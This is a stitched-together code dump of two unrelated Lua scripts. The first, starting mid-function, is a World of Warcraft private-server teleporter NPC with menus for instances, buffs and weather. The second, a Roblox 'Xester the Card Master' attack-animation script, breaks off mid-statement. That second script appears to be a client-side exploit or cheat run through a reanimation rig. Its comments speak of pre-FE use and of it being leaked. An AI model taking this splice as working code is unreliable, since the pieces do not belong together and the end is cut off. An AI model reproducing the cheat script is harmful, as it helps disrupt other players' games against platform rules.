"Horde Cities", 4, 0) end Unit:GossipMenuAddItem(3, "Custom Zones", 122, 0) Unit:GossipMenuAddItem(2, "|cff0000ff-+Gm Island Quest Zone+-", 9995, 0) Unit:GossipMenuAddItem(4, "Buff Me", 6, 0) Unit:GossipMenuAddItem(4, "Change the Weather", 114, 0) Unit:GossipMenuAddItem(4, "Max Out All Skills", 105, 0) Unit:GossipMenuAddItem(4, "Reset Talent Points", 106, 0) Unit:GossipMenuAddItem(4, "|cff00ff00Remove Resurrection Sickness", 7, 0) Unit:GossipMenuAddItem(7, "|cffff0000[Nevermind]", 8, 0) Unit:GossipSendMenu(Player) end if(intid == 8) then Player:GossipComplete() end if(intid == 3) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Stormwind", 9, 0) Unit:GossipMenuAddItem(2, "Ironforge", 10, 0) Unit:GossipMenuAddItem(2, "Darnassus", 11, 0) Unit:GossipMenuAddItem(2, "The Exodar", 12, 0) Unit:GossipMenuAddItem(7, "[Main Menu]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 4) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Orgrimmar", 13, 0) Unit:GossipMenuAddItem(2, "Undercity", 14, 0) Unit:GossipMenuAddItem(2, "Thunderbluff", 15, 0) Unit:GossipMenuAddItem(2, "Silvermoon", 16, 0) Unit:GossipMenuAddItem(7, "[Main Menu]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 5) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Classic Instances", 17, 0) Unit:GossipMenuAddItem(2, "Outland Instances", 18, 0) Unit:GossipMenuAddItem(2, "Northrend Instances", 19, 0) Unit:GossipMenuAddItem(2, "Shattrath City", 20, 0) Unit:GossipMenuAddItem(2, "Dalaran", 21, 0) Unit:GossipMenuAddItem(2, "PvP Arena", 22, 0) Unit:GossipMenuAddItem(7, "[Main Menu]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 17) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Ragefire Chasm (13-20)", 23, 0) Unit:GossipMenuAddItem(2, "Deadmines (17-23)", 24, 0) Unit:GossipMenuAddItem(2, "Wailing Caverns (17-23)", 25, 0) Unit:GossipMenuAddItem(2, "Shadowfang Keep (18-23)", 26, 0) Unit:GossipMenuAddItem(2, "Blackfathom Deeps (22-27)", 27, 0) Unit:GossipMenuAddItem(2, "The Stockade (23-27)", 28, 0) Unit:GossipMenuAddItem(2, "Razorfen Kraul (22-31)", 29, 0) Unit:GossipMenuAddItem(2, "Gnomeregan (25-32)", 30, 0) Unit:GossipMenuAddItem(2, "Razorfen Downs (33-37)", 31, 0) Unit:GossipMenuAddItem(2, "Scarlet Monestary (29-44)", 32, 0) Unit:GossipMenuAddItem(2, "Uldaman (37-44)", 33, 0) Unit:GossipMenuAddItem(2, "[Next]->", 34, 0) Unit:GossipSendMenu(Player) end if(intid == 34) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Zul'Farak (42-46)", 35, 0) Unit:GossipMenuAddItem(2, "Mauradon (42-52)", 36, 0) Unit:GossipMenuAddItem(2, "Temple of Atal'Hakkar (47-52)", 37, 0) Unit:GossipMenuAddItem(2, "Blackrock Depths (48-60)", 38, 0) Unit:GossipMenuAddItem(2, "Dire Maul (55-60)", 39, 0) Unit:GossipMenuAddItem(2, "Scholomance (56-60)", 40, 0) Unit:GossipMenuAddItem(2, "Stratholme (56-60)", 41, 0) Unit:GossipMenuAddItem(2, "Lower Blackrock Spire (54-60)", 42, 0) Unit:GossipMenuAddItem(2, "Upper Blackrock Spire (56-60)", 43, 0) Unit:GossipMenuAddItem(2, "[Next]->", 44, 0) Unit:GossipSendMenu(Player) end if(intid == 44) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Zul'Gurub (60+)", 45, 0) Unit:GossipMenuAddItem(2, "Molten Core (60+)", 46, 0) Unit:GossipMenuAddItem(2, "Blackwing Lair (60++)", 47, 0) Unit:GossipMenuAddItem(2, "Ruins of Ahn'Qiraj (60++)", 48, 0) Unit:GossipMenuAddItem(2, "Temple of Ahn'Qiraj (60+++)", 49, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 18) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Hellfire Citadel", 51, 0) Unit:GossipMenuAddItem(2, "Coilfang Reservoir", 52, 0) Unit:GossipMenuAddItem(2, "Auchindoun", 53, 0) Unit:GossipMenuAddItem(2, "Caverns of Time", 54, 0) Unit:GossipMenuAddItem(2, "Tempest Keep", 55, 0) Unit:GossipMenuAddItem(2, "Magisters' Terrace (70)", 56, 0) Unit:GossipMenuAddItem(2, "Karazhan (70+)", 57, 0) Unit:GossipMenuAddItem(2, "Gruul's Lair (70+)", 58, 0) Unit:GossipMenuAddItem(2, "Zul'Aman (70++)", 59, 0) Unit:GossipMenuAddItem(2, "Black Temple (70+++)", 60, 0) Unit:GossipMenuAddItem(2, "Sunwell Plateau (70++++)", 61, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 51) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Hellfire Ramparts (60-62)", 62, 0) Unit:GossipMenuAddItem(2, "The Blood Furnace (61-63)", 63, 0) Unit:GossipMenuAddItem(2, "The Shattered Halls (69-70)", 64, 0) Unit:GossipMenuAddItem(2, "Magtheridon's Lair (70+)", 65, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 52) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "The Slave Pens (62-64)", 66, 0) Unit:GossipMenuAddItem(2, "The Underbog (63-65)", 67, 0) Unit:GossipMenuAddItem(2, "The Steamvault (68-70)", 68, 0) Unit:GossipMenuAddItem(2, "Serpentshine Cavern (70++)", 69, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 53) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Mana-Tombs (64-66)", 70, 0) Unit:GossipMenuAddItem(2, "Auchenai Crypts (65-67)", 71, 0) Unit:GossipMenuAddItem(2, "Sethekk Halls (67-69)", 72, 0) Unit:GossipMenuAddItem(2, "Shadow Labyrinth (69-70)", 73, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 54) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Old Hillsbrad Foothills (66-68)", 74, 0) Unit:GossipMenuAddItem(2, "The Black Morass (70)", 75, 0) Unit:GossipMenuAddItem(2, "Hyjal Summit (70+++)", 76, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 55) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "The Mechanar (70)", 77, 0) Unit:GossipMenuAddItem(2, "The Botanica (70)", 78, 0) Unit:GossipMenuAddItem(2, "The Arcatraz (70)", 79, 0) Unit:GossipMenuAddItem(2, "The Eye (70++)", 80, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if(intid == 19) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Utgarde Keep (70-72)", 81, 0) Unit:GossipMenuAddItem(2, "The Nexus (71-73)", 82, 0) Unit:GossipMenuAddItem(2, "Azjol-Nerub (72-74)", 83, 0) Unit:GossipMenuAddItem(2, "Ahn'kahet: The Old Kingdom (73-75)", 84, 0) Unit:GossipMenuAddItem(2, "Drak'Tharon Keep (74-76)", 85, 0) Unit:GossipMenuAddItem(2, "The Violet Hold (75-77)", 86, 0) Unit:GossipMenuAddItem(2, "Gundrak (76-78)", 87, 0) Unit:GossipMenuAddItem(2, "Halls of Stone (77-79)", 88, 0) Unit:GossipMenuAddItem(2, "Halls of Lightning (80)", 89, 0) Unit:GossipMenuAddItem(2, "The Oculus (80)", 90, 0) Unit:GossipMenuAddItem(2, "Culling of Stratholme (80)", 91, 0) Unit:GossipMenuAddItem(7, "[Next]->", 92, 0) Unit:GossipSendMenu(Player) end if(intid == 92) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "Utgarde Pinnacle (80)", 93, 0) Unit:GossipMenuAddItem(2, "Trial of the Champion (80+)", 94, 0) Unit:GossipMenuAddItem(2, "Vault of Archavon (80+)", 95, 0) Unit:GossipMenuAddItem(2, "Naxxramas (80+)", 96, 0) Unit:GossipMenuAddItem(2, "Obsidian Sanctum (80+)", 97, 0) Unit:GossipMenuAddItem(2, "Eye of Eternity (80++)", 98, 0) Unit:GossipMenuAddItem(2, "Ulduar (80++)", 99, 0) Unit:GossipMenuAddItem(2, "Trial of the Crusader (80+++)", 101, 0) Unit:GossipMenuAddItem(2, "Onyxia's Lair (80+++)", 102, 0) Unit:GossipMenuAddItem(2, "Icecrown Citadel (80++++)", 103, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if (intid == 114) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(4, "Sunny", 115, 0) Unit:GossipMenuAddItem(4, "Foggy", 116, 0) Unit:GossipMenuAddItem(4, "Rainy", 117, 0) Unit:GossipMenuAddItem(4, "Snowy", 118, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if (intid == 122) then Unit:GossipMenuAddItem(2, "-Party Tree House-", 120, 0) Unit:GossipMenuAddItem(2, "-+Gm Help Desk+-", 9994, 0) Unit:GossipMenuAddItem(2, "-+Stair Event 1+-", 9997, 0) Unit:GossipMenuAddItem(2, "-+Stair Event 2+-", 9986, 0) Unit:GossipMenuAddItem(2, "-+Snow Ball Arena+-", 9999, 0) Unit:GossipMenuAddItem(2, "-+Swimming Pool+-", 9992, 0) Unit:GossipMenuAddItem(2, "-+Ice Rink+-", 9991, 0) Unit:GossipMenuAddItem(2, "-+Dance Floor+-", 9990, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if (intid == 9988) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "|cff0000ff-+CRAIGY109 KING OF HEROES OF SUNRISE+-", 9985, 0) Unit:GossipMenuAddItem(2, "|cff0000ff-+King Drani World Boss+-", 9993, 0) Unit:GossipMenuAddItem(2, "|cff0000ff-+Lord Xyolexus World Boss+-", 9987, 0) Unit:GossipMenuAddItem(7, "[Back]", 999, 0) Unit:GossipSendMenu(Player) end if (intid == 10005) then Unit:GossipCreateMenu(99, Player, 0) Unit:GossipMenuAddItem(2, "|cff0000ff-+Do you hate instant 80 fun servers? If you want to level up form level 1 go collect gear and train your spells first and come back to me. Click on me and i will take you to the master of level changing he will then ask you if you want to be level 80 or 1 and then you can level up at Hyjal.+-", 10006, 0) Unit:GossipMenuAddItem(7, "|cffff0000[Back]", 999, 0) Unit:GossipSendMenu(Player) end if (intid == 115) then Player:SetPlayerWeather(0, 2.0) Player:SendBroadcastMessage("Its sunny! Might be a good idea to put on some sunscreen!") Player:GossipComplete() end if (intid == 116) then Player:SetPlayerWeather(1, 2.0) Player:SendBroadcastMessage("Its foggy! You should try to get a flashlight!") Player:GossipComplete() end if (intid == 117) then Player:SetPlayerWeather(2, 2.0) Player:SendBroadcastMessage("Its raining! Quick, get your rain coat!") Player:GossipComplete() end if (intid == 118) then Player:SetPlayerWeather(8, 2.0) Player:SendBroadcastMessage("Its snowing! Better bundle up!") Player:GossipComplete() end if(intid == 105) then Player:AdvanceSkill(43, 399) Player:AdvanceSkill(44, 399) Player:AdvanceSkill(45, 399) Player:AdvanceSkill(46, 399) Player:AdvanceSkill(54, 399) Player:AdvanceSkill(55, 399) Player:AdvanceSkill(95, 399) Player:AdvanceSkill(136, 399) Player:AdvanceSkill(160, 399) Player:AdvanceSkill(162, 399) Player:AdvanceSkill(172, 399) Player:AdvanceSkill(173, 399) Player:AdvanceSkill(176, 399) Player:AdvanceSkill(226, 399) Player:AdvanceSkill(228, 399) Player:AdvanceSkill(229, 399) Player:AdvanceSkill(473, 399) Player:AdvanceSkill(164, 449) Player:AdvanceSkill(165, 449) Player:AdvanceSkill(171, 449) Player:AdvanceSkill(182, 449) Player:AdvanceSkill(186, 449) Player:AdvanceSkill(197, 449) Player:AdvanceSkill(202, 449) Player:AdvanceSkill(333, 449) Player:AdvanceSkill(393, 449) Player:AdvanceSkill(755, 449) Player:AdvanceSkill(773, 449) Player:AdvanceSkill(129, 449) Player:AdvanceSkill(185, 449) Player:AdvanceSkill(356, 449) Player:SendBroadcastMessage("You have maxed out all skills!") return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc) end if (intid == 106) then Player:ResetTalents() Player:SendBroadcastMessage("All talents have been reset!") return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc) end if(intid == 6) then Player:CastSpell(25898) Player:CastSpell(48162) Player:CastSpell(61024) Player:CastSpell(48074) Player:CastSpell(48470) Player:SendBroadcastMessage("You have been buffed!") return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc) end if(intid == 7) then if (Player:HasAura(15007) == true) then Player:SendBroadcastMessage("Your Resurrection Sickness has been Removed!") Player:RemoveAura(15007) return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc) else Player:SendBroadcastMessage("Stop lying! You don't have resurrection sickness!") return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc) end end if (intid == 123) then --Hyjal level road Player:Teleport(1, 4619.239, -3850.57, 944.005554) end if (intid == 120) then --Party tree house Player:Teleport(0, -14722.500000, -106.509003, 4.434840) end if (intid == 124) then --Stormwind instance Player:Teleport(0, -8644.821289, 600.941101, 94.730377) end if(intid == 1) then --alliance mall Player:Teleport(0, 4321.921387, -2868.260986, 2.982461) end if(intid == 2) then --horde mall Player:Teleport(530, -1683.88, 8361.05, -16.6463) end if(intid == 9) then --stormwind Player:Teleport(0, -8928, 540, 95) end if(intid == 10) then --ironforge Player:Teleport(0, -4981, -881, 502) end if(intid == 11) then --darnassus Player:Teleport(1, 9978, 2033, 1328.5) end if(intid == 12) then --the exodar Player:Teleport(530, -4014, -11895, -1.5) end if(intid == 13) then --orgrimmar Player:Teleport(1, 1502, -4415, 22) end if(intid == 14) then --undercity Player:Teleport(0, 1752, 239, 61.5) end if(intid == 15) then --thunderbluff Player:Teleport(1, -1283, 158, 130) end if(intid == 16) then --silvermoon Player:Teleport(530, 9392, -7277, 14.5) end if(intid == 20) then --shattrath Player:Teleport(530, -1877.57, 5457.82, -12.42) end if(intid == 21) then --dalaran Player:Teleport(571, 5797, 629, 648) end if(intid == 22) then --gurubashi arena Player:Teleport(0, -13282, 117, 25) end if(intid == 23) then --ragefire chasm Player:Teleport(1, 1805, -4404, -18) end if(intid == 24) then --deadmines Player:Teleport(36, -16.4, 383.07, 61.77) end if(intid == 25) then --wailing caverns Player:Teleport(1, -737, -2219, 17) end if(intid == 26) then --shadowfang keep Player:Teleport(0, -241, 1545, 77) end if(intid == 27) then --blackfathom deeps Player:Teleport(48, -151.76, 105.14, -40.23) end if(intid == 28) then --the stockade Player:Teleport(34, 49.8, 0.87, -16.7) end if(intid == 29) then --razorfen kraul Player:Teleport(1, -4473, -1690, 82) end if(intid == 30) then --gnomeregan Player:Teleport(0, -5164, 918,258) end if(intid == 31) then --razorfen downs Player:Teleport(1, -4661, -2511, 81) end if(intid == 32) then --scarlet monestary Player:Teleport(0, 2841, -692, 140) end if(intid == 33) then --uldaman Player:Teleport(0, -6704, -2955, 209) end if(intid == 35) then --zulfarak Player:Teleport(1, -6821, -2890, 9) end if(intid == 36) then --maraudon Player:Teleport(349, 1019.7, -458.3, -43.43) end if(intid == 37) then --atalhakkar Player:Teleport(0, -10457, -3828, 19) end if(intid == 38) then --blackrock depths Player:Teleport(0, -7187, -914, 166) end if(intid == 39) then --dire maul Player:Teleport(1, -4435.65, 1324.18, 126) end if(intid == 40) then --scholomance Player:Teleport(0, 1265, -2560, 95) end if(intid == 41) then --stratholme Player:Teleport(0, 3345, -3380, 145) end if(intid == 42) then --LBRS Player:Teleport(0, -7527.17, -1225, 285.7) end if(intid == 43) then --UBRS Player:Teleport(0, -7527.17, -1225, 285.7) end if(intid == 45) then --Zulgurub Player:Teleport(0, -11916.16, -1183.62, 85.14) end if(intid == 46) then --molten core Player:Teleport(409, 1078.92, -480.9, -108.2) end if(intid == 47) then --blackwing lair Player:Teleport(469, -7672.12, -1107.14, 396.65) end if(intid == 48) then --ruins of aq Player:Teleport(509, -8438.7, 1516.18, 31.9) end if(intid == 49) then --temple of aq Player:Teleport(531, -8229.14, 2014, 129.1) end if(intid == 56) then --Magisters terrace Player:Teleport(1, 12884.38, -7307.2, 65.5) end if(intid == 57) then --karazhan Player:Teleport(532, -11105, 2000.38, 49.9) end if(intid == 58) then --gruuls lair Player:Teleport(530, 3529, 5096, 3) end if(intid == 59) then --zulaman Player:Teleport(530, 6850, -7950, 171) end if(intid == 60) then --black temple Player:Teleport(530, -3614, 310, 40) end if(intid == 61) then --sunwell plateau Player:Teleport(1, 1766.78, 906.08, 14.62) end if(intid == 62) then --hellfire ramparts Player:Teleport(530, -360.67, 3071.9, -15.1) end if(intid == 63) then --blood furnace Player:Teleport(530, -303, 3164, 32) end if(intid == 64) then --shattered halls Player:Teleport(530, -311, 3083, -3) end if(intid == 65) then --magtheridons lair Player:Teleport(530, -313, 3088, -116) end if(intid == 66) then --slave pens Player:Teleport(547, 123, -126.6, -0.86) end if(intid == 67) then --underbog Player:Teleport(546, 35.22, -29.64, -2.75) end if(intid == 68) then --steamvault Player:Teleport(545, -13.8, 6.75, -4.25) end if(intid == 69) then --serpentshrine cavern Player:Teleport(548, 10.29, 0.01, 822.35) end if(intid == 70) then --mana-tombs Player:Teleport(530, -3100, 4950, -100) end if(intid == 71) then --auchenai crypts Player:Teleport(530, -3367, 5216, -101) end if(intid == 72) then --sethekk halls Player:Teleport(530, -3364, 4675, -101) end if(intid == 73) then --shadow labryinth Player:Teleport(530, -3630, 4941, -101) end if(intid == 74) then --Old hillsbrad foothills Player:Teleport(560, 2387.58, 1192.94, 67.47) end if(intid == 75) then --black morass Player:Teleport(269, -1492.27, 7046.35, 32.24) end if(intid == 76) then --hyjal summit Player:Teleport(534, 4244.5, -4219.56, 868.4) end if(intid == 77) then --mechanar Player:Teleport(530, 2870, 1557, 252) end if(intid == 78) then --botanica Player:Teleport(530, 3404, 1488, 183) end if(intid == 79) then --arcatraz Player:Teleport(1, 5.48, 0, -0.2) end if(intid == 80) then --the eye Player:Teleport(530, 3088, 1384, 185) end if(intid == 81) then --utgarde keep Player:Teleport(574, 159.2, -84.64, 12.55) end if(intid == 82) then --the nexus Player:Teleport(571, 3783, 6942, 105) end if(intid == 83) then --azjolnerub Player:Teleport(571, 3721, 2155, 37) end if(intid == 84) then --ahn'kahet Player:Teleport(619, 344, -1103, 60.3) end if(intid == 85) then --drak'tharon keep Player:Teleport(571, 4897, 2046, 249) end if(intid == 86) then --violet hold Player:Teleport(608, 1305, 358.6, 1) end if(intid == 87) then --gundrak Player:Teleport(604, 2031, 805, 246) end if(intid == 88) then --hall of stone Player:Teleport(599, 1153, 811, 196) end if(intid == 89) then --hall of lightning Player:Teleport(602, 1333, -237, 41) end if(intid == 90) then --the oculus Player:Teleport(571, 3783, 6942, 105) end if(intid == 91) then --culling of stratholme Player:Teleport(1, -8638, -4382, -207) end if(intid == 93) then --utgarde pinnacle Player:Teleport(575, 570, -327, 111) end if(intid == 94) then --trial of the champion Player:Teleport(1, -3345, -3078, 33) end if(intid == 95) then --vault of archavon Player:Teleport(624, -358.56, -103.28, 104.66) end if(intid == 96) then --naxxramas Player:Teleport(571, 3561, 275, -115) end if(intid == 97) then --obisidian sanctum Player:Teleport(571, 3516.1, 270, -114) end if(intid == 98) then --eye of eternity Player:Teleport(571, 3783, 6942, 105) end if(intid == 99) then --ulduar Player:Teleport(571, 9013, 1114.4, 1165.3) end if(intid == 101) then --trial of the crusader Player:Teleport(1, -3345, -3078, 33) end if(intid == 102) then --onyxia's lair Player:Teleport(249, 29.4, -69.8, -7.3) end if(intid == 103) then --Icecrown Citadel Player:Teleport(571, 6151, 2244, 508) end if(intid == 9985) then --craigy109 boss Player:Teleport(0, -6494.249512, -1438.970, 151.348785) end if(intid == 9986) then --Stair event 2 Player:Teleport(0, 3635.850830, -2863.940918, 176.894440) end if(intid == 9987) then --Lord Xyolexus Player:Teleport(0, 3249.593994, -3080.216553, 233.092545) end if(intid == 9989) then --Extra Gear Player:Teleport(1, -2944.935059, 58.211891, 189.913422) end if(intid == 9990) then --Dance Floor Player:Teleport(530, 4173.12, 3057.2, 336.726) end if(intid == 9991) then --Ice Rink Player:Teleport(0, -5102.58, -1668.04, 497.885) end if(intid == 9992) then --Swimming Pool Player:Teleport(0, -8160.3, -368.168, 249.325) end if(intid == 9993) then --King Drani World Boss + mini Stair event Player:Teleport(0, 3603.443115, -2868.502686, 179.966415) end if(intid == 9994) then --Gm Help Desk Player:Teleport(0, -1278.354004, -1204.691162, 40.178349) end if(intid == 9995) then --GmIsland Quest Zone Player:Teleport(1, 16225.783203, 15724.895508, 4.471714) end if(intid == 9996) then --Super Power USers Player:Teleport(0, -4822.056641, -980.121338, 464.708832) end if(intid == 9997) then --Stair Event 1 Player:Teleport(0, -7693.741211, 1086.945801, 131.407211) end if(intid == 9999) then --Snowball Arena Player:Teleport(0, -5261.435547, -1541.436279, 497.836823) end if(intid == 10001) then --Trade District battle Player:Teleport(0, -8932.520508, 537.431824, 94.366180) end if(intid == 10006) then --Level question Player:Teleport(37, 973.698120, 504.460785, 253.949112) end end RegisterUnitGossipEvent(200104, 1, "On_Gossip_Talk") RegisterUnitGossipEvent(200104, 2, "On_Gossip_Select")
-----------/XESTER THE CARD MASTER\\----------- --[[Movelist Q = The disappearing act. E = Full house R = Cardnado T = Teleport Y = Big card(Click to smash.) U = Black hole P = Card shield(Click to bounce people off, press p again to shred.) F = Transform(You can switch between modes any time.) -----------/SECOND FORM MOVES\----------- T = Laugh G = Fire ball H = Huge fire ball J = Dragon's breath(The longer you hold, the more insaner it gets.) K = Beam(The longer you hold down the key, the stronger it gets/longer it lasts.) ---------]] --"Now you see me 2" is a good movie, which is why i've made this.-- --Sadly, this got logged, one of my best work just being thrown out like this is a real shame.-- --This was made before FE so using this may or may not lag the server-- --Keep in mind that THIS was never even finished at all, i stopped working on this when skidcentric leaked it, who knows how big this script could've been?-- if not game.Players.LocalPlayer.Character:FindFirstChild("Rig") then game.StarterGui:SetCore("SendNotification",{ Title = "Project: Terminate", Text = "Not Reanimated.", }) return end if game.Players.LocalPlayer.Character:FindFirstChild("Anti") then game.StarterGui:SetCore("SendNotification",{ Title = "Project: Terminate", Text = "Script Already Running.", }) return end local aadfs = Instance.new("Part", game.Players.LocalPlayer.Character) aadfs.Name = "Anti" aadfs.Transparency = 1 aadfs.Anchored = true Player=game:GetService("Players").LocalPlayer Character=Player.Character.Rig hum = Character.Humanoid LeftArm=Character["Left Arm"] LeftLeg=Character["Left Leg"] RightArm=Character["Right Arm"] RightLeg=Character["Right Leg"] Root=Character["HumanoidRootPart"] Head=Character["Head"] Torso=Character["Torso"] Neck=Torso["Neck"] walking = false jumping = false allowgrassy = false zxc = false matte = nil colori = nil bigball = false attacking = false laughing = false running = false downpress = false taim = nil change = 0 ws = 10 appi = false tauntdebounce = false position = nil staybooming = false MseGuide = true levitate = false firsttime5 = false notallowedtransform = false settime = 0 firsttime2 = false sine = 0 t = 0 combo1 = true dgs = 75 combo2 = false firsttime3 = false combo3 = false local bl = {907530553,907527750,907527912} colortable = {"Really black","Really red"} colors = #colortable blz = #bl local aces = {1880203893,1881287656,1881287420,1881288034} ace = #aces local laughs = {2011349649,2011349983,2011351501,2011352223,2011355991,2011356475} laugh = #laughs mouse = Player:GetMouse() RunSrv = game:GetService("RunService") RenderStepped = game:GetService("RunService").RenderStepped removeuseless = game:GetService("Debris") damageall={} Repeater={} Repeater2={} magictable={} nonmeshRepeater={} nonmeshRepeater2={} dmgii={} DamageAll2={} SlowlyFade={} th1={} lolzor={} lolzor2={} th2={} keyYsize={} blocktrail={} keyYtransparency={} th3={} laughingtable={} Extreme={} ExtremeM={} ExtremeM2={} m3={} th4={} th5={} UpMover={} openshocktable={} LessSize={} ForwardMover={} FadeIn={} signtransparency={} signmover={} signrotator={} if Player.Character:FindFirstChild("Bullet") then local Character = game.Players.LocalPlayer.Character local Bullet = Character['Bullet'] Bullet:ClearAllChildren() local BP = Instance.new("BodyPosition", Bullet) local BT = Instance.new("BodyThrust", Bullet) BP.MaxForce = Vector3.new(math.huge,math.huge,math.huge) BP.D = 125 BP.P = 12500 BT.Location = Vector3.new(10,5,-10) local Mouse = game.Players.LocalPlayer:GetMouse() local MouseHolding = false Mouse.Button1Down:Connect(function() MouseHolding = true --BP.Position = Mouse.Hit.p BT.Force = Vector3.new(3000,3000,3000) end) Mouse.Button1Up:Connect(function() MouseHolding = false --BP.Position = Character.Torso.Position end) game:GetService("RunService").Stepped:Connect(function() if MouseHolding == true then if Mouse.Target ~= nil then BP.Position = Mouse.Hit.p end elseif MouseHolding == false then pcall(function() BP.Position = game.Players.LocalPlayer.Character.Rig:FindFirstChild("Torso").Position + Vector3.new(0,-0.4,0) end) end if MouseHolding == false then BT.Force = Vector3.new(1,0,0) end end) Bullet.Transparency = 1 local Outline = Instance.new("SelectionBox", Bullet) Outline.Adornee = Bullet end screenGui = Instance.new("ScreenGui") screenGui.Parent = script.Parent FireBall = Instance.new("Sound",LeftArm) FireBall.SoundId = "rbxassetid://842332424" FireBall.Volume = 5 FireBall.Pitch = 2.5 BigFireBall = Instance.new("Sound",LeftArm) BigFireBall.SoundId = "rbxassetid://842332424" BigFireBall.Volume = 8 BigFireBall.Pitch = 1.5 local HEADLERP = Instance.new("ManualWeld") HEADLERP.Parent = Head HEADLERP.Part0 = Head HEADLERP.Part1 = Head HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local TORSOLERP = Instance.new("ManualWeld") TORSOLERP.Parent = Root TORSOLERP.Part0 = Torso TORSOLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local ROOTLERP = Instance.new("ManualWeld") ROOTLERP.Parent = Root ROOTLERP.Part0 = Root ROOTLERP.Part1 = Torso ROOTLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local RIGHTARMLERP = Instance.new("ManualWeld") RIGHTARMLERP.Parent = RightArm RIGHTARMLERP.Part0 = RightArm RIGHTARMLERP.Part1 = Torso RIGHTARMLERP.C0 = CFrame.new(-1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local LEFTARMLERP = Instance.new("ManualWeld") LEFTARMLERP.Parent = LeftArm LEFTARMLERP.Part0 = LeftArm LEFTARMLERP.Part1 = Torso LEFTARMLERP.C0 = CFrame.new(1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local RIGHTLEGLERP = Instance.new("ManualWeld") RIGHTLEGLERP.Parent = RightLeg RIGHTLEGLERP.Part0 = RightLeg RIGHTLEGLERP.Part1 = Torso RIGHTLEGLERP.C0 = CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local LEFTLEGLERP = Instance.new("ManualWeld") LEFTLEGLERP.Parent = LeftLeg LEFTLEGLERP.Part0 = LeftLeg LEFTLEGLERP.Part1 = Torso LEFTLEGLERP.C0 = CFrame.new(0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local function weldBetween(a, b) local weld = Instance.new("ManualWeld", a) weld.Part0 = a weld.Part1 = b weld.C0 = a.CFrame:inverse() * b.CFrame return weld end function makeblockytrail() coroutine.wrap(function() while true do for i,v in pairs(blocktrail) do smke = Instance.new("Part",v) smke.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) smke.Material = "Neon" smke.Anchored = true smke.CanCollide = false removeuseless:AddItem(smke,2) end swait() end end)() end local function ci(x, c, y, n) so = Instance.new("Sound", x) so.SoundId = c so.Volume = y so.Looped = n end function ghost() fakeeyo2 = Instance.new("Part",Head) fakeeyo2.BrickColor = BrickColor.new("White") fakeeyo2.Material = "Neon" fakeeyo2.Shape = "Ball" fakeeyo2.Anchored = true fakeeyo2.Transparency = 1 fakeeyo2.CFrame = eyo2.CFrame fakeeyo2.CanCollide = false fakeeyo2.Size = Vector3.new(0.33, 0.33, 0.33) table.insert(ghosttable,fakeeyo2) removeuseless:AddItem(fakeeyo2,3) fakeeyo1 = Instance.new("Part",Head) fakeeyo1.BrickColor = BrickColor.new("White") fakeeyo1.Material = "Neon" fakeeyo1.Shape = "Ball" fakeeyo1.CanCollide = false fakeeyo1.Transparency = 1 fakeeyo1.Anchored = true fakeeyo1.CFrame = eyo1.CFrame fakeeyo1.Size = Vector3.new(0.33, 0.33, 0.33) table.insert(ghosttable,fakeeyo1) removeuseless:AddItem(fakeeyo1,3) fakemask = Instance.new("Part",Character) fakemask.Size = Vector3.new(1,1,1) fakemask.CFrame = mask.CFrame fakemask.Material = "Neon" fakemask.CanCollide = false fakemask.Anchored = true fakemask.BrickColor = BrickColor.new("White") fakemask.Transparency = 